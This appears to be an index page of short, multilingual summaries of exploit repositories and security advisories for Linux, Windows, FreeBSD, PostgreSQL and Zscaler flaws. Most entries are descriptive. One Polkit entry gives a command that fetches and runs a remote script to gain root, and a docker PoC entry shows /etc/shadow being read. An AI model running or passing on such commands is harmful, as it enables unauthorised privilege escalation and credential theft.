CVE-2026-2636_PoC

CVE-2026-2636: Stato Irrecuperabile di CLFS.sys che Porta a BSoD Panoramica CVE-2026-2636 è una vulnerabilità nel driver del Common Log File System CLFS di Windows CLFS.sys. Un utente senza privilegi può innescare uno stato di sistema irrecuperabile chiamando l'API ReadFile su un handle aperto...

CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script

CVE-2026-31431 — Copy Fail — Script di rilevamento vulnerabilità Solo rilevamento. Un PoC funzionante esiste già su copy.fail/exploit. Questo script è pensato per sysadmin e team di sicurezza che devono determinare dove sono vulnerabili — o ancora vulnerabili dopo l'applicazione delle patch. Di...

CVE-2026-41651

CVE-2026-41651 — PackageKit TOCTOU स्थानीय विशेषाधिकार वृद्धि वर्गीकरण: पर्पल टीम मूल्यांकन आर्टिफैक्ट केवल अधिकृत उपयोग के लिए। यह दस्तावेज़ और साथ में दी गई परीक्षण स्क्रिप्ट केवल उन प्रणालियों पर आंतरिक सुरक्षा सत्यापन के लिए हैं जहाँ लिखित प्राधिकरण प्राप्त किया गया है। शोषण का प्रमाण विषय-सू...

CVE-2021-3560

CVE-2021-3560 Exploit Root Istantaneo di Polkit Puoi ottenere i permessi di root con un solo comando su sistemi vulnerabili a Polkit CVE-2021-3560 digitando: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Oppure puoi scaricare il file .sh o copiarlo e...

ubuntu-cve-2026-31431-mitigation

उबंटू में कर्नेल और kmod अपडेट करने की पूरी गाइड: सुरक्षा कमजोरियों CVE को ठीक करने के लिए CVE-2026-31431 यह कमजोरी, जिसे Copy Fail के नाम से भी जाना जाता है, लिनक्स कर्नेल में एक लॉजिकल बग है जो AFALG / algifaead पथ में होता है। डिस्क्लोज़र के अनुसार, एक अनधिकृत स्थानीय उपयोगकर्ता लिनक्स कर्नेल ...

CVE-2026-21508_POC

Proof-of-concept per CVE-2026-21508 Per maggiori informazioni vedere: https://0xc4r.github.io/posts/CVE-2026-21508 Descrizione: Il proof-of-concept consiste in un semplice script batch e un progetto DLL: La DLL verrà utilizzata per eseguire l'attacco di DLL hijacking e, quando caricata da...

ipv6_frag_escape

IPV6FRAGESCAPE Una prova di concetto affidabile di evasione da container/jail senza privilegi per CentOS / RHEL 10. Sfrutta un bug di frammentazione IPv6 ora corretto in ip6appenddata chiuso upstream da 38becddc, nessun CVE, un overflow lineare in-slab in skbsharedinfo alla coda dell'oggetto head...

CVE-2022-0847-DirtyPipe-

CVE-2022-0847-DirtyPipe-Exploits Una raccolta di exploit e documentazione per penetration tester e red teamer che può essere utilizzata per agevolare lo sfruttamento della vulnerabilità Dirty Pipe di Linux. Informazioni sulla vulnerabilità Dirty Pipe CVE-2022-0847 è una vulnerabilità di escalatio...

CVE-2020-11107

CVE-2020-11107 Questa è una descrizione della CVE-2020-11107 che ho trovato. È stato scoperto un problema in XAMPP prima delle versioni 7.2.29, 7.3.x prima di 7.3.16 e 7.4.x prima di 7.4.4 su Windows. Un utente non privilegiato può modificare la configurazione di un file .exe in xampp-contol.ini...

docker-POC_CVE-2024-1086

https://github.com/Notselwyn/CVE-2024-1086 उपयोग root@kitploit: docker compose up -d --build docker exec -it poccve20241086 bash परीक्षण नमूना root@kitploit: tester@e23a4e5757d9 CVE-2024-1086$ id uid=99999tester gid=99999tester groups=99999tester tester@e23a4e5757d9 CVE-2024-1086$ cat /etc/shadow...

CVE-2026-14662

A flaw was found in PostgreSQL. An unprivileged database user can exploit an integer wraparound vulnerability in the tsvector and tsquery data type functions. By providing crafted large inputs, the server can be forced to undersize an allocation, leading to an out-of-bounds write. This could...

CVE-2026-58091

CVE-2026-58091 is a kernel use-after-free in FreeBSD's sound(4) driver , triggered via the SNDCTL_DSP_SYNCSTART ioctl. When locking a channel in a sync group would block, the implementation releases the sync group list lock and sleeps; upon reawakening, the sync group structure may have been free...

EUVD-2026-66234

When a process calls execve2 to execute a setuid or setgid image, hwpmc4 is supposed to detach PMCs owned by unprivileged processes. An inverted check meant that this scenario was not handled properly. An unprivileged local user who has attached PMCs to a process can continue monitoring it after...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: postgresql (UTSA-2026-104772)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-104772 advisory. Integer wraparound in PostgreSQL tsvector and tsquery data type functions allows an unprivileged database user to cause the server to undersize an allocation and wri...

below-log-race-poc

below-log-race-poc CVE-2025-27591 Exploit Scalata dei privilegi di Below Descrizione Questo repository contiene un proof-of-concept per CVE-2025-27591 , una vulnerabilità di escalation dei privilegi nell'utility below. Il problema sorge perché below gestisce in modo non sicuro i file di log in...

CVE-2026-15060

A flaw was found in systemd-machined. When systemd-machined is running on a desktop system, an unprivileged user logged into a desktop graphical session can terminate arbitrary processes, including privileged ones. This could lead to a denial of service or potentially allow for privilege...

CVE-2026-20731

A flaw was found in the Intel NPU Driver. Due to improper buffer restrictions, an unprivileged local attacker with authenticated user access could exploit this vulnerability. This could lead to a denial of service DoS condition, impacting the availability of the system. Mitigation No mitigation i...

CVE-2026-59567

Multiple vulnerabilities on affected versions of Zscaler Client Connector allow local privilege escalation, giving an unprivileged user the ability to execute arbitrary code in a privileged context...

EUVD-2026-64884

Multiple vulnerabilities on affected versions of Zscaler Client Connector allow remote code execution, giving an unauthenticated, unprivileged user the ability to execute arbitrary code in the ZCC context...

EUVD-2026-64883

Multiple vulnerabilities on affected versions of Zscaler Client Connector allow local privilege escalation, giving an unprivileged user the ability to execute arbitrary code in a privileged context...